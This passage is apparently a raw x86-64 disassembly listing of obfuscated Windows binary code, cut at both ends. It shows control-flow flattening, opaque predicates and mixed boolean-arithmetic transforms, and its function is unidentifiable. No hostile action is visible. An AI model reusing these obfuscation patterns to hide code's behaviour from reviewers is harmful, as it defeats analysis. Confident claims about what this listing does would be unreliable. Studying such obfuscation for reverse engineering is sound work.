or r14d, edx
mov edx, ebp
not edx
or ecx, edx
and edx, 0x1bbacad4
and ebp, 0xe445352b
or ebp, edx
xor ebp, r14d
mov edx, r15d
xor edx, 0xb68102bb
and edx, r13d
and r15d, 0x497efd44
not ecx
or ecx, ebp
mov ebp, edx
and ebp, r15d
xor r15d, edx
or r15d, ebp
mov edx, ecx
not edx
and edx, 0xe0d807e3
and ecx, 0x1f27f81c
or ecx, edx
mov edx, r15d
not edx
and edx, 0xe0d807e3
and r15d, 0x1f27f81c
or r15d, edx
xor r15d, ecx
mov ecx, r9d
and ecx, r13d
xor r13d, r9d
or r13d, ecx
mov ecx, r13d
not ecx
and ecx, 0xdfefa046
and r13d, 0x20105fb9
or r13d, ecx
mov edx, r13d
xor edx, 0x20101c38
xor r13d, 0xdfefa046
mov ecx, r15d
not ecx
mov ebp, ecx
and ebp, 0x836b43c5
and r15d, 0x7c94bc3a
or r15d, ebp
or ecx, r13d
and r13d, 0x836b43c5
and edx, 0x7c94bc3a
or edx, r13d
xor edx, r15d
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x5f4449ab
and edx, ecx
and ecx, 0xa0bbb654
or ecx, ebp
xor ecx, 0xa0bbb654
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, eax
not edx
mov ebp, ecx
not ebp
mov ebx, edx
or ebx, ebp
not ebx
and edx, 0x551e943f
and eax, 0xaae16bc0
or eax, edx
and ebp, 0x551e943f
and ecx, 0xaae16bc0
or ecx, ebp
xor ecx, eax
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
mov ebx, ecx
mov edx, ecx
xor edx, 0x56891b6e
and edx, ecx
not ecx
and eax, 0xf48506af
and ecx, 0xb7af950
or ecx, eax
mov r8d, ecx
xor r8d, 0xb7af950
or ebx, 0xa976e491
mov ebp, ebx
not ebp
mov edi, edx
not edi
mov esi, ebx
and esi, 0xba83c383
and ebp, 0x4408186c
or ebp, esi
or ebx, edi
and edi, 0xba83c383
and edx, 0x457c3c7c
or edx, edi
xor edx, ebp
not ebx
or ebx, edx
mov edx, ebx
not edx
and edx, 0xa976e491
and ebx, 0x56891b6e
or ebx, edx
mov edi, ecx
xor edi, 0xf48506af
mov edx, edi
and edx, 0x4b4070a
mov eax, r8d
and eax, 0x2148a804
or eax, edx
xor eax, 0x2148a804
xor ecx, 0x2e86565e
and ecx, r8d
mov edx, ebx
not edx
xor ebx, 0x25fcaf0e
and ebx, edx
or edx, 0x25fcaf0e
mov ebp, eax
and ebp, ecx
xor ecx, eax
or ecx, ebp
mov ebp, ebx
not ebp
mov eax, ebp
and eax, 0x71dac918
and ebx, 0x8e2536e7
or ebx, eax
mov eax, edx
not eax
or ebp, edx
and edx, 0x71dac918
and eax, 0x8a0110e1
or eax, edx
xor eax, ebx
not ebp
or ebp, eax
mov eax, ecx
not eax
and eax, 0x8271794b
and ecx, 0x7d8e86b4
or ecx, eax
mov eax, ebp
not eax
and eax, 0x8271794b
and ebp, 0x7d8e86b4
or ebp, eax
mov eax, dword [0x1400986a8]
xor ebp, ecx
mov ecx, ebp
not ecx
and edi, ecx
and ebp, r8d
or ebp, edi
xor ecx, ebp
test ecx, ebp
setne bpl
sete sil
cmp eax, 9
setg r11b
cmp eax, 0xa
setl r9b
mov ecx, r9d
xor cl, r11b
and cl, r9b
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
or al, cl
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ecx, esi
or cl, al
mov edx, esi
xor dl, al
xor dl, 1
and dl, al
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
xor dl, 1
mov r8d, edx
xor r8b, r9b
and dl, r8b
xor r8b, 1
mov eax, edx
and al, r8b
xor r8b, dl
or r8b, al
mov eax, r8d
xor al, 1
and r8b, al
mov ecx, eax
and cl, r8b
xor r8b, al
or r8b, cl
mov eax, esi
or al, r11b
xor al, 1
mov ecx, esi
xor cl, r11b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
not al
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov r10d, eax
xor r10b, 1
and sil, r11b
and bpl, r9b
or bpl, sil
xor bpl, 1
mov ecx, ebp
and cl, r11b
xor bpl, r11b
or bpl, cl
mov r9d, ebp
xor r9b, 1
mov r11d, r10d
and r11b, al
mov ecx, r10d
xor cl, r11b
xor r11b, 1
or r11b, al
xor r11b, 1
or r11b, cl
mov r14d, ebp
and r14b, r9b
mov edx, ebp
xor dl, r14b
xor r14b, 1
or r14b, r9b
xor r14b, 1
or r14b, dl
mov edi, r11d
xor dil, 1
or r10b, al
mov ebx, r10d
xor bl, 1
or r9b, bpl
mov ecx, r11d
and cl, dil
mov eax, ebx
and al, r10b
mov edx, ecx
xor dl, 1
xor cl, r11b
or dl, dil
xor dl, 1
or dl, cl
mov ecx, eax
and cl, bl
xor al, bl
or al, cl
mov ecx, edx
xor cl, 1
and cl, al
xor al, 1
and al, dl
or al, cl
mov esi, r14d
xor sil, 1
xor r10b, dil
mov edx, r9d
xor dl, 1
or bl, r11b
xor bl, 1
or bl, r10b
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov ecx, r9d
and cl, dl
mov ebx, esi
xor bl, r9b
xor r9b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r9b
xor cl, sil
or dl, r14b
xor dl, 1
or dl, bl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
and dl, al
or dl, cl
xor sil, r11b
and sil, r11b
xor r14b, r11b
mov eax, esi
xor al, 1
xor sil, r14b
xor r14b, 1
or r14b, al
xor r14b, 1
or r14b, sil
mov eax, r14d
xor al, 1
mov ecx, edx
xor cl, 1
and al, cl
and dl, r14b
or dl, al
mov eax, ecx
and al, r14b
xor cl, r14b
or cl, al
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov esi, r8d
xor sil, 1
mov ecx, eax
and cl, dl
mov r9d, eax
and r9b, cl
xor cl, al
or cl, r9b
mov r11d, ecx
xor r11b, 1
mov r10d, r8d
and r10b, r11b
or r11b, cl
and cl, sil
or r10b, cl
mov ecx, r10d
xor cl, r8b
or r10b, r8b
xor r10b, 1
or r10b, cl
mov r9d, r10d
xor r9b, 1
mov ecx, r8d
xor cl, sil
and sil, r8b
and cl, r8b
xor al, dl
and al, dl
mov edx, r11d
xor dl, al
xor sil, 1
xor cl, 1
mov ebx, esi
or bl, cl
xor bl, 1
xor cl, sil
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
xor al, 1
or al, r11b
xor al, 1
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
mov esi, ebx
xor sil, 1
xor bl, dl
or sil, al
xor sil, 1
or sil, bl
xor sil, cl
mov edi, esi
xor dil, 1
mov eax, esi
xor al, dil
and al, sil
mov edx, r10d
and dl, r9b
mov r8d, r10d
xor r8b, dl
xor dl, 1
mov r11d, edx
or r11b, r9b
xor r11b, 1
xor dl, r9b
or dl, r11b
mov r9d, edx
and dl, sil
or sil, dil
xor al, 1
mov ecx, esi
or cl, al
xor cl, 1
xor al, sil
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
xor bl, 1
or r8b, r11b
mov ecx, ebx
and cl, al
xor bl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
mov eax, r8d
xor al, 1
and al, cl
xor cl, 1
and cl, r8b
or cl, al
xor r9b, 1
and r9b, dil
or dl, r9b
mov eax, r10d
xor al, dil
or dil, r10b
xor dil, 1
or dil, al
xor dl, 1
mov eax, edx
xor al, dil
or dl, dil
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ebx, ecx
xor bl, dl
and bl, cl
and dl, cl
xor cl, 1
and cl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xc8852050
mov ebp, 0x3b69fb7e
cmovne eax, ebp
test dl, 1
mov ecx, eax
cmovne ecx, ebp
jmp 0x14005ef58
cmp eax, 0x58d5883e
je 0x1400625e1
mov ecx, eax
cmp eax, 0x70ef6c75
jne 0x140053140
mov eax, dword [0x1400986ac]
lea r14d, [rax - 1]
imul r14d, eax
mov r8d, r14d
not r8d
mov eax, r8d
and eax, 0x8f6bb1ee
mov edx, r14d
and edx, 0x70944e11
or edx, eax
mov eax, edx
not eax
and eax, 0x70944e11
and edx, 0x8f6bb1ee
or edx, eax
mov eax, edx
not eax
and eax, 0xbbfe5bcd
and edx, 0x4401a432
or edx, eax
mov ecx, edx
xor ecx, 0x40010012
xor edx, 0x9a525048
and edx, 0x9e52f468
and ecx, 0x61ad0b97
or ecx, edx
mov ebx, ecx
xor ebx, 0x61ad0b97
mov ebp, r8d
and ebp, 0x16725422
mov eax, r14d
and eax, 0xe98dabdd
or eax, ebp
mov ebp, eax
xor ebp, 0xe98dabdd
xor eax, 0x16725422
or eax, ebp
mov ebp, eax
not ebp
and ebp, 0x41eefab5
and eax, 0xbe11054a
or eax, ebp
mov ebp, eax
xor ebp, 0xbe11054a
xor eax, 0x41eefab5
mov edx, ebx
xor edx, eax
and edx, ebx
xor ecx, 0x9e52f468
and ecx, ebp
and eax, ebx
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xa6ccb9d6
and ecx, eax
not eax
and eax, 0x2cc3846
and edx, 0xa4008190
or edx, eax
xor edx, 0xa4008190
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xeaaa82ec
and ecx, 0x15557d13
or ecx, eax
mov eax, ecx
xor eax, 0xb399c4c5
mov edx, ecx
xor edx, 0x8041320
and edx, 0x38959320
xor ecx, 0x3bb6e9a0
and ecx, eax
mov ebp, eax
and ebp, 0xc76a6cdf
or ebp, edx
mov eax, ebp
xor eax, 0xc76a6cdf
xor ebp, 0x20151220
mov edx, eax
and edx, 0x882f2d65
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
and edx, 0xa63eebc2
not ecx
and ecx, 0x59c1143d
or ecx, edx
and ebp, 0x26771e2c
mov edx, eax
and edx, 0xd988e1d3
or edx, ebp
xor edx, 0x866d88b
and eax, 0x2e11c6a7
or eax, edx
mov edx, eax
not edx
and edx, 0xd062df6a
and eax, 0x2f9d2095
or eax, edx
xor eax, 0x2f9d2095
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
mov edx, eax
xor edx, 0xc686f9b3
and edx, eax
not eax
and eax, 0xc600a991
and ecx, 0x865022
or ecx, eax
xor ecx, 0x865022
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0x3979064c
and edx, 0xc686f9b3
or edx, eax
mov edi, edx
not edi
mov eax, edi
and eax, 0x15a7c8d0
and edx, 0xea58372f
or edx, eax
xor edx, 0x15a7c8d0
xor edi, edx
and edi, edx
mov eax, r14d
and eax, 0xd9f6dd1
mov edx, r8d
and edx, 0xf260922e
or edx, eax
mov r9d, edx
xor r9d, 0xd0601008
mov eax, edx
xor eax, 0x4896d01
or eax, 0xfb7690d4
mov ebp, eax
not ebp
mov ebx, r14d
xor ebx, 0xfb7690d4
and ebx, r8d
mov esi, ebx
not esi
mov ecx, eax
and ecx, 0x4fe668cc
and ebp, 0x90723
or ebp, ecx
or eax, esi
and esi, 0x4fe668cc
and ebx, 0xb0199733
or ebx, esi
xor ebx, ebp
not eax
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0x37d694f2
and eax, 0xc8296b0d
or eax, ecx
xor eax, 0x1d4e3d7e
and r9d, 0xd1ee3958
xor edx, 0x238eab76
or edx, r9d
mov ecx, edx
not ecx
and ecx, 0x5aa7b489
and edx, 0xa5584b76
or edx, ecx
xor edx, 0xa5584b76
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x91049b88
and edx, 0x6efb6477
or edx, eax
mov r9d, edx
xor r9d, 0x91049b88
mov r11d, edx
xor r11d, 0x6efb6477
mov r12d, edi
not r12d
mov eax, r12d
and eax, 0xa1f81063
mov ecx, edi
and ecx, 0x5e07ef9c
or ecx, eax
mov r13d, ecx
xor r13d, 0x42078984
xor ecx, 0x21381021
and ecx, 0x3d387639
and r13d, 0xc2c789c6
or r13d, ecx
mov ebp, r13d
xor ebp, 0x3d387639
xor r13d, 0xc2c789c6
mov eax, ebp
and eax, 0xd0fcf5a8
mov ecx, r13d
and ecx, 0x2f030a57
or ecx, eax
xor ecx, 0x5159b66e
mov r15d, r13d
and r15d, 0x81a543c6
or r15d, ecx
mov eax, r12d
and eax, 0x7e5abc39
and edi, 0x81a543c6
or edi, eax
xor r12d, edi
and r12d, edi
mov r10d, r11d
mov edi, ebp
xor edi, r11d
and edi, ebp
and ebp, r11d
and r11d, 0x81a543c6
xor edx, 0xef5e27b1
or edx, r11d
mov eax, edx
not eax
and eax, 0x7f4559f4
and edx, 0x80baa60b
or edx, eax
and r10d, 0xe5d5328a
mov eax, r9d
and r13d, r9d
and r9d, 0x1a2acd75
or r9d, r10d
xor r9d, 0x9b8f8eb3
and eax, 0x7e5abc39
or eax, r9d
mov ecx, eax
not ecx
and ecx, 0x5ea183d8
and eax, 0xa15e7c27
or eax, ecx
mov ecx, r12d
mov esi, r12d
xor esi, 0x5e29c742
and esi, r12d
not r12d
and r12d, 0x656da78b
and ecx, 0x9a925874
or ecx, r12d
xor ecx, 0x9a925874
mov ebx, r15d
xor ebx, 0xa1d638bd
mov r9d, ebx
and r9d, r15d
mov r10d, ecx
mov r11d, r15d
and r11d, ecx
xor ecx, r15d
not r15d
and ebx, r15d
mov r15d, r9d
and r15d, ebx
xor ebx, r9d
and r10d, 0x5e29c742
or ebx, r15d
mov r9d, r10d
and r9d, esi
xor esi, r10d
or esi, r9d
mov r9d, ebx
not r9d
and r9d, esi
not esi
and esi, ebx
or esi, r9d
mov ebx, edx
xor ebx, 0x80baa60b
or ecx, r11d
mov r9d, ecx
not r9d
and r9d, 0xd51286f2
and ecx, 0x2aed790d
or ecx, r9d
xor ecx, 0x2aed790d
mov r9d, esi
and r9d, ecx
xor ecx, esi
mov esi, eax
or ecx, r9d
xor eax, 0x5ea183d8
mov r9d, ebx
xor r9d, eax
and r9d, ebx
xor edx, 0x54445124
and edx, 0xd4ded72f
and ebx, 0x2b2128d0
or ebx, edx
xor esi, 0x21002800
and eax, 0xd4ded72f
and esi, 0x2b2128d0
or esi, eax
xor esi, ebx
mov eax, r9d
and eax, esi
xor esi, r9d
or esi, eax
mov eax, ecx
xor eax, 0xe15a74e9
and eax, ecx
not ecx
and ecx, 0xe15a74e9
mov edx, esi
not edx
mov ebx, esi
xor ebx, 0xe15a74e9
and edx, ebx
and ebx, esi
mov esi, ecx
and esi, eax
xor eax, ecx
or eax, esi
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x127b7c25
and edx, 0xed8483da
or edx, esi
mov esi, ebx
not esi
or ecx, esi
and esi, 0x127b7c25
and ebx, 0xed8483da
or ebx, esi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, eax
not edx
and edx, ecx
not ecx
and ecx, eax
or ecx, edx
or ebp, r13d
mov edx, edi
not edx
mov eax, ebp
not eax
mov ebx, edx
and ebx, 0xe42f3c9e
and edi, 0x1bd0c361
or edi, ebx
or edx, eax
and eax, 0xe42f3c9e
and ebp, 0x1bd0c361
or ebp, eax
xor ebp, edi
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0xee945cf5
and edx, 0x116ba30a
or edx, eax
mov eax, edx
not eax
and eax, 0x116ba30a
and edx, 0xee945cf5
or edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0x35b34ee3
and edx, 0xca4cb11c
or edx, ebp
xor edx, 0xca4cb11c
or edx, eax
mov esi, edx
not esi
mov ebp, ecx
not ebp
mov ebx, ebp
or ebx, edx
not ebx
and ebp, 0x165bf582
and ecx, 0xe9a40a7d
or ecx, ebp
and edx, 0x165bf582
and esi, 0xe9a40a7d
or esi, edx
xor esi, ecx
mov ecx, ebx
and ecx, esi
xor esi, ebx
or esi, ecx
mov ebx, esi
not ebx
mov edx, ebx
and edx, 0x18904501
mov eax, esi
and eax, 0x201052
or eax, edx
mov edx, eax
xor edx, 0x200050
xor eax, 0x2b0dc6ad
mov ecx, ebx
or ecx, 0x18b05553
mov ebp, ecx
not ebp
and eax, 0x2b0dd6af
and edx, 0x10b00150
or edx, eax
and ecx, 0x2b0dd6af
and ebp, 0xc4422800
or ebp, ecx
xor ebp, edx
mov eax, ebp
not eax
and eax, 0xe74faaac
and ebp, 0x18b05553
or ebp, eax
mov eax, ebp
not eax
and eax, 0x2e11c6a6
xor ebp, 0xd1ee3959
or ebp, eax
mov eax, ebp
not eax
and eax, 0xcaee197b
and ebp, 0x3511e684
or ebp, eax
mov r10d, ebp
xor r10d, 0x3511e684
mov r9d, ebp
mov eax, ebx
and eax, 0xd1ee3959
and esi, 0x2e11c6a6
or esi, eax
xor ebx, esi
and ebx, esi
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0x94c23031
and ebx, 0x6b3dcfce
or ebx, eax
mov edx, r10d
or edx, 0xeac9f52e
mov eax, edx
not eax
xor ebp, 0x2027ec55
and ebp, r10d
mov esi, edx
and esi, 0x5e93fac7
and eax, 0x1240010
or eax, esi
mov esi, ebp
not esi
or edx, esi
and esi, 0x5e93fac7
and ebp, 0xa16c0538
or ebp, esi
mov esi, ebx
xor ebx, 0x94c23031
xor ebp, eax
mov eax, ebx
or eax, 0xeac9f52e
not edx
or edx, ebp
mov ebp, eax
not ebp
or ecx, 0x15360ad1
and eax, 0xd8bde568
and ebp, 0x5020a91
or ebp, eax
mov eax, ecx
not eax
and ecx, 0xd8bde568
and eax, 0x22401006
or eax, ecx
xor r9d, 0x8208086a
xor esi, 0x318ce4e
xor eax, ebp
mov ecx, edx
not ecx
and ecx, 0x1a202769
and edx, 0xe5dfd896
or edx, ecx
mov ecx, eax
not ecx
and ecx, 0x1a202769
and eax, 0xe5dfd896
or eax, ecx
xor eax, edx
mov ecx, r10d
and ecx, 0x68e71191
and r9d, 0x9718ee6e
or r9d, ecx
or r10d, ebx
and ebx, 0x68e71191
and esi, 0x9718ee6e
or esi, ebx
xor esi, r9d
not r10d
or r10d, esi
not r10d
mov ecx, eax
and ecx, r10d
xor r10d, eax
or r10d, ecx
mov eax, r8d
and eax, 0x11510231
mov ecx, r14d
and ecx, 0x20c8c0
or ecx, eax
xor ecx, 0x20c8c0
mov eax, r14d
and eax, 0xee8e350e
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xc819b9e1
and eax, 0x37e6461e
or eax, ecx
mov ecx, eax
xor ecx, 0x208484a3
xor eax, 0xd9687310
and ecx, 0xb18cd7b3
mov edx, eax
and edx, 0x4e73284c
or edx, ecx
xor edx, 0x63009d04
and eax, 0xd28c4ab7
or eax, edx
and r8d, 0x2d73b548
xor r14d, 0xd28c4ab7
or r14d, r8d
mov ecx, r14d
not ecx
and ecx, 0x217e6d30
and r14d, 0xde8192cf
or r14d, ecx
mov r8d, r14d
xor r8d, 0xde8192cf
xor r14d, 0x217e6d30
mov ecx, eax
xor ecx, 0xd5b1011b
and ecx, eax
mov edx, eax
or edx, 0x2a4efee4
mov esi, r14d
and esi, 0x2a4efee4
mov ebp, r8d
and ebp, 0xd5b1011b
or ebp, esi
mov esi, ecx
not esi
mov edi, esi
and edi, 0x62b6700
and ecx, 0xf9d498ff
or ecx, edi
mov ebx, edx
not ebx
or esi, edx
and edx, 0x62b6700
and ebx, 0xd190001b
or ebx, edx
xor ebx, ecx
mov ecx, eax
not ecx
not esi
or esi, ebx
mov edx, esi
not edx
and edx, ebp
not ebp
and ebp, esi
or ebp, edx
mov edx, ecx
and edx, 0x9691402c
and eax, 0x696ebfd3
or eax, edx
or ecx, r8d
and r8d, 0x9691402c
and r14d, 0x696ebfd3
or r14d, r8d
xor r14d, eax
not ecx
or ecx, r14d
mov eax, ecx
not eax
and eax, 0xc5d24600
and ecx, 0x3a2db9ff
or ecx, eax
mov eax, ecx
xor eax, 0x2a0c38d2
mov edx, ebp
not edx
xor ecx, 0xc5d24600
mov ebx, edx
and ebx, 0x10b1832d
and ebp, 0xef4e7cd2
or ebp, ebx
or edx, ecx
and ecx, 0x10b1832d
and eax, 0xef4e7cd2
or eax, ecx
xor eax, ebp
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x84a8aec9
and edx, 0x7b575136
or edx, eax
mov ebp, edx
xor ebp, 0x40004002
xor edx, 0x80800
or ecx, 0xd28c4ab7
mov eax, ecx
not eax
or edx, 0x25501008
and edx, 0x375c183c
and ebp, 0xc0804283
or ebp, edx
and ecx, 0x375c183c
and eax, 0x823a540
or eax, ecx
xor eax, ebp
mov r8d, r10d
not r8d
mov edx, r10d
and edx, 0x1cb521ab
mov ebx, r8d
and ebx, 0xe34ade54
or ebx, edx
mov edx, ebx
xor edx, 0x4940103
mov edi, eax
not edi
mov ebp, edi
and ebp, 0x16ec25c2
mov esi, eax
and esi, 0xe913da3d
or esi, ebp
xor esi, 0xe913da3d
xor ebx, 0x200cc44
and ebx, 0x1a21ecec
and edx, 0xe5de1313
or edx, ebx
xor edx, 0xe5de1313
mov ebx, esi
and ebx, edx
xor edx, esi
or edx, ebx
mov ebx, edx
not ebx
mov ebp, edi
and ebp, 0x8e149a99
and edi, eax
and eax, 0x71eb6566
or eax, ebp
mov ecx, eax
xor ecx, 0xe12524
xor eax, 0x8e149a99
mov esi, eax
and esi, 0x730e424b
and ecx, 0x8cf1bdb4
or ecx, esi
mov ebp, edi
not ebp
or eax, ebp
and ebp, 0x730e424b
and edi, 0x8cf1bdb4
or edi, ebp
xor edi, ecx
not eax
or eax, edi
mov ecx, r8d
and ecx, 0x9bd2c6f
mov ebp, r10d
and ebp, 0xf642d390
or ebp, ecx
xor ebp, 0xf642d390
not eax
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ebp, eax
not ebp
mov ecx, ebx
xor ecx, eax
and ecx, ebx
and edx, 0x47b9c8b8
and ebx, 0xb8463747
or ebx, edx
and eax, 0x47b9c8b8
and ebp, 0xb8463747
or ebp, eax
xor ebp, ebx
mov eax, ecx
and eax, ebp
xor ebp, ecx
or ebp, eax
mov eax, ebp
not eax
mov ecx, eax
and ecx, ebp
mov edx, ecx
not edx
mov ebx, ebp
and ebx, 0x1e9f741
and eax, 0xfe1608be
or eax, ebx
or ebp, edx
and edx, 0x1e9f741
and ecx, 0xfe1608be
or ecx, edx
xor ecx, eax
not ebp
or ebp, ecx
and r8d, 0x24080379
mov eax, r10d
and eax, 0x2f41082
or eax, r8d
xor eax, 0x2f41082
and r10d, 0xd903ec04
or r10d, eax
mov eax, r10d
not eax
and eax, 0xd903ec04
and r10d, 0x26fc13fb
or r10d, eax
mov esi, ebp
not esi
mov edx, ebp
xor edx, 0xab56c8ce
and edx, esi
mov edi, esi
or edi, 0xab56c8ce
mov eax, edi
not eax
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xbe9728a8
and edx, 0x4168d757
or edx, ecx
mov ecx, r10d
or ecx, 0x54a93731
or ebx, edi
and edi, 0xbe9728a8
and eax, 0x40281711
or eax, edi
mov edi, ecx
not edi
xor eax, edx
mov edx, r10d
xor edx, 0xab56c8ce
and edx, r10d
not ebx
or ebx, eax
mov eax, ecx
and eax, 0x5b291f53
and edi, 0xa056c08c
or edi, eax
mov eax, edx
not eax
or ecx, eax
and eax, 0x5b291f53
and edx, 0xa4d6e0ac
or edx, eax
xor edx, edi
not ecx
or ecx, edx
mov eax, ebx
not eax
and eax, ecx
not ecx
and ecx, ebx
or ecx, eax
mov eax, ebp
and eax, 0xae01db08
and esi, 0x51fe24f7
or esi, eax
mov edx, r10d
not edx
or ebp, r10d
and r10d, 0xae01db08
and edx, 0x51fe24f7
or edx, r10d
xor edx, esi
mov ebx, dword [0x1400986a8]
not ebp
or ebp, edx
not ebp
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
mov ecx, ebp
not ecx
and ecx, 0xd525b349
and ebp, 0x2ada4cb6
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x2ada4cb6
and ebp, 0xd525b349
or ebp, ecx
mov ecx, ebp
not ecx
and ebp, 0x55fbfc33
and ecx, 0xaa0403cc
or ecx, ebp
xor ecx, 0xaa0403cc
sete al
setne r8b
cmp ebx, 0xa
setl r9b
cmp ebx, 9
setg r10b
mov edx, r10d
xor dl, r8b
or dl, al
mov r11d, edx
xor r11b, 1
xor al, r9b
xor al, 1
mov ecx, eax
xor cl, r10b
and cl, al
mov ebx, ecx
xor bl, 1
mov eax, edx
and al, r11b
mov esi, edx
xor sil, al
xor al, 1
or al, r11b
xor al, 1
or al, sil
xor al, bl
xor bl, dl
or cl, r11b
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov r11d, r10d
xor r11b, al
and r11b, r10b
mov ecx, edx
or cl, r10b
mov ebx, ecx
xor bl, r11b
xor r11b, 1
xor bl, 1
or r11b, cl
xor r11b, 1
or r11b, bl
xor dl, r11b
xor dl, 1
or r11b, al
xor r11b, 1
or r11b, dl
mov eax, r9d
xor al, r10b
and al, r9b
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
or al, cl
mov ebx, eax
xor bl, 1
mov esi, ebx
or sil, al
mov edx, eax
and dl, bl
mov ecx, eax
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor dl, 1
and dl, sil
xor sil, 1
and cl, sil
or dl, cl
mov ecx, esi
xor cl, bl
or sil, bl
xor sil, 1
or sil, cl
xor dl, 1
mov ecx, edx
xor cl, sil
or dl, sil
xor dl, 1
or dl, cl
or r10b, dl
xor dl, 1
or dl, r9b
mov ecx, edx
xor cl, r10b
or dl, r10b
xor dl, 1
or dl, cl
xor al, r9b
mov ecx, ebx
and cl, r9b
xor bl, r9b
or bl, cl
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
mov eax, edx
xor al, bl
and al, dl
and bl, dl
xor dl, 1
and dl, cl
or bl, dl
mov ecx, eax
xor cl, 1
xor al, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, al
mov r9d, ebx
xor r9b, 1
mov eax, ebx
or al, r9b
mov ecx, r9d
and cl, bl
mov edx, ecx
xor cl, r9b
mov r9d, r11d
xor r9b, 1
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
xor dl, al
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov edx, r8d
xor dl, al
and r8b, dl
and dl, al
xor r8b, 1
xor dl, 1
mov eax, r8d
xor al, dl
or dl, r8b
xor dl, 1
or dl, al
mov r10d, edx
xor r10b, 1
mov eax, r10d
and al, dl
mov ecx, eax
and cl, r10b
xor al, r10b
or al, cl
mov ecx, eax
and cl, r11b
xor al, 1
and al, r9b
or al, cl
mov r8d, eax
xor r8b, 1
mov ecx, r10d
and cl, r9b
and dl, r11b
or dl, cl
xor dl, 1
or dl, r11b
and r11b, r8b
and al, r9b
or al, r11b
xor al, 1
or al, r8b
xor r10b, r9b
or r10b, cl
mov ecx, r10d
xor cl, 1
mov ebx, edx
xor bl, 1
and cl, dl
and bl, r10b
or bl, cl
mov ecx, r10d
and cl, dl
xor dl, r10b
mov r8d, eax
xor r8b, 1
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ebx, edx
xor bl, 1
and bl, al
mov ecx, r8d
and cl, dl
or cl, bl
xor cl, 1
or cl, al
mov r9d, ecx
xor r9b, 1
xor al, dl
xor al, 1
and al, dl
xor dl, r8b
and dl, r8b
mov ebx, eax
xor bl, 1
xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
mov ebx, r9d
and bl, cl
mov eax, ebx
xor bl, r9b
xor al, 1
or al, cl
xor al, 1
or al, bl
xor al, dl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x3b75ecf5
mov edx, 0xab139545
cmovne ecx, edx
test al, 1
cmove ecx, edx
not bl
test bl, 1
mov eax, 0x3b75ecf5
cmovne ecx, eax
jmp 0x140053140
mov ecx, 0xb6d6f638
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x40], eax
jmp 0x140053140
mov ecx, 0xb18dba62
jmp 0x140053140
mov ecx, 0xb6d6f638
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x40], eax
jmp 0x140053140
mov eax, dword [0x1400986ac]
lea r8d, [rax - 1]
imul r8d, eax
mov r10d, r8d
not r10d
mov eax, r10d
and eax, 0x97260327
mov ecx, r8d
and ecx, 0x68d9fcd8
or ecx, eax
